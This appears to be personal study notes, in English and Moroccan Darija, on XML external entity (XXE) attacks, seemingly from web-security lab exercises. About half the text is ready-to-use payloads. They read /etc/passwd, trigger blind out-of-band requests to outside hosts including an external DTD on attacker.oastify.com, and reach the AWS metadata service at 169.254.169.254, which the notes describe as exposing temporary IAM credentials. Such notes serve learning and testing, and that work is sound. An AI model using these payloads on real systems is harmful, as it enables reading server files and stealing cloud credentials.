XXE attack
العنوان 169.254.0.0/16 كامل مخصص للـ link-local (يعني IP كيخدم غير داخل السيرفر راسو أو الشبكة المحلية، ما كيمشيش للإنترنت).
exemples of payloads :#
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>anas</name>
<tel>0612345678</tel>
<email>&xxe;</email>
<password>passwordtest</password>
</root><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>3</storeId>
</stockCheck>Blind XXE with out-of-band interaction#
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://zrue0sthug1j59o3gpym208xlorff53u.oastify.com/">
]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % extDTD SYSTEM "http://attacker.oastify.com/external.dtd">
%extDTD;
]>
<stockCheck>
<productId>1</productId>
<storeId>2</storeId>
</stockCheck>
why exact this ip 169.254.169.254 ؟#
Link-local address
العنوان 169.254.0.0/16 كامل مخصص للـ link-local (يعني IP كيخدم غير داخل السيرفر راسو أو الشبكة المحلية، ما كيمشيش للإنترنت).
169.254.169.254 هو واحد العنوان "standard" اللي كيستعملوه cloud providers باش يوفروا Metadata Service.
EC2 Metadata Service (AWS)#
فـ Amazon EC2 instances، أي سيرفر كيخدم فالسحابة عندو واحد الخدمة داخلية كتجاوب غير على هاد IP:
when i do this request
http://169.254.169.254/latest/meta-data/ (opens in a new tab)
the server will display liste of directories & endpoints هادي كتخلي التطبيقات يعرفو: شنو الـ instance id شنو الـ region شنو الـ IAM role المرتبط بالـ instance وأخطر حاجة: Temporary Credentials (AccessKeyId + SecretAccessKey + Token)
يعني بحال "API داخلية" ديال AWS، موجودة فكل instance، ومايمكنش توصل ليها من برا الإنترنت.
exemple payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>